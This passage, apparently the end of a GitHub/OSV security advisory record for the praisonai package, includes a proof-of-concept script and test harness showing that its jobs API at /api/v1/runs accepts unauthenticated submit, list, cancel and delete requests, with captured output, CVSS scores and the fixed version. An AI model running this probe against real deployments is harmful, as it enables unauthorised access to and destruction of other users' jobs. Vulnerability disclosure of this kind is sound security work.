print(f\"\\n[1] POST /api/v1/runs (no Authorization) -> HTTP {code}\")\n    print(f\"    body: {body[:300]}\")\n    job_id = None\n    if code == 202:\n        try:\n            job_id = json.loads(body).get(\"job_id\")\n            findings.append(f\"POST /api/v1/runs: 202 Accepted, job_id={job_id!r}\")\n        except Exception:\n            pass\n\n    # 2. GET /api/v1/runs — list ALL jobs system-wide.\n    code, _, body = http_request(\"GET\", \"/api/v1/runs?page=1&page_size=20\")\n    print(f\"\\n[2] GET /api/v1/runs (no Authorization) -> HTTP {code}\")\n    if code == 200:\n        findings.append(\"GET /api/v1/runs: unauthenticated list of ALL jobs\")\n\n    if job_id:\n        code, _, body = http_request(\"GET\", f\"/api/v1/runs/{job_id}\")\n        print(f\"\\n[3] GET /api/v1/runs/{{job_id}} -> HTTP {code}\")\n        code, _, body = http_request(\"POST\", f\"/api/v1/runs/{job_id}/cancel\")\n        print(f\"\\n[4] POST /api/v1/runs/{{job_id}}/cancel -> HTTP {code}\")\n        code, _, body = http_request(\"DELETE\", f\"/api/v1/runs/{job_id}\")\n        print(f\"\\n[5] DELETE /api/v1/runs/{{job_id}} -> HTTP {code}\")\n\n    print(\"\\n\" + \"=\" * 70)\n    if any('POST /api/v1/runs:' in f for f in findings):\n        print(f\"VULNERABLE: {len(findings)} unauthenticated routes confirmed\")\n        for f in findings:\n            print(f\"  - {f}\")\n        print(\"VERDICT: VULNERABLE\")\n        return 0\n    print(\"DEFENDED\")\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai\"); sys.path.insert(0,BK)\nfor p in [\"praisonai\",\"praisonai.jobs\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nimport praisonai.jobs.server as S          # REAL jobs server\napp = S.create_app()                      # REAL FastAPI app\nfrom starlette.testclient import TestClient\nclient = TestClient(app)\nP=\"/api/v1/runs\"\ntests=[(\"GET  list\",   lambda: client.get(P)),\n       (\"POST submit\", lambda: client.post(P, json={\"agents_config\":{\"a\":\"x\"},\"input\":\"hi\"})),\n       (\"GET  status\", lambda: client.get(P+\"/nope\")),\n       (\"GET  result\", lambda: client.get(P+\"/nope/result\")),\n       (\"POST cancel\", lambda: client.post(P+\"/nope/cancel\")),\n       (\"DEL  delete\", lambda: client.delete(P+\"/nope\"))]\ncodes=[]\nfor name,fn in tests:\n    c=fn().status_code; codes.append(c); print(f\"[+] (no auth) {name:12s} {P} -> HTTP {c}\")\nassert all(c not in (401,403) for c in codes), codes\nassert codes[0]==200    # list works unauthenticated\nprint(\"[+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[+] (no auth) GET  list    /api/v1/runs -> HTTP 200\n[+] (no auth) POST submit  /api/v1/runs -> HTTP 422\n[+] (no auth) GET  status  /api/v1/runs -> HTTP 404\n[+] (no auth) GET  result  /api/v1/runs -> HTTP 404\n[+] (no auth) POST cancel  /api/v1/runs -> HTTP 404\n[+] (no auth) DEL  delete  /api/v1/runs -> HTTP 404\n[+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API\n```\n\n## Credit\n\nKai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.59"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fq2m-6wqh-x44g"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-862", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:57:16Z",
    "nvd_published_at" : null
  }
}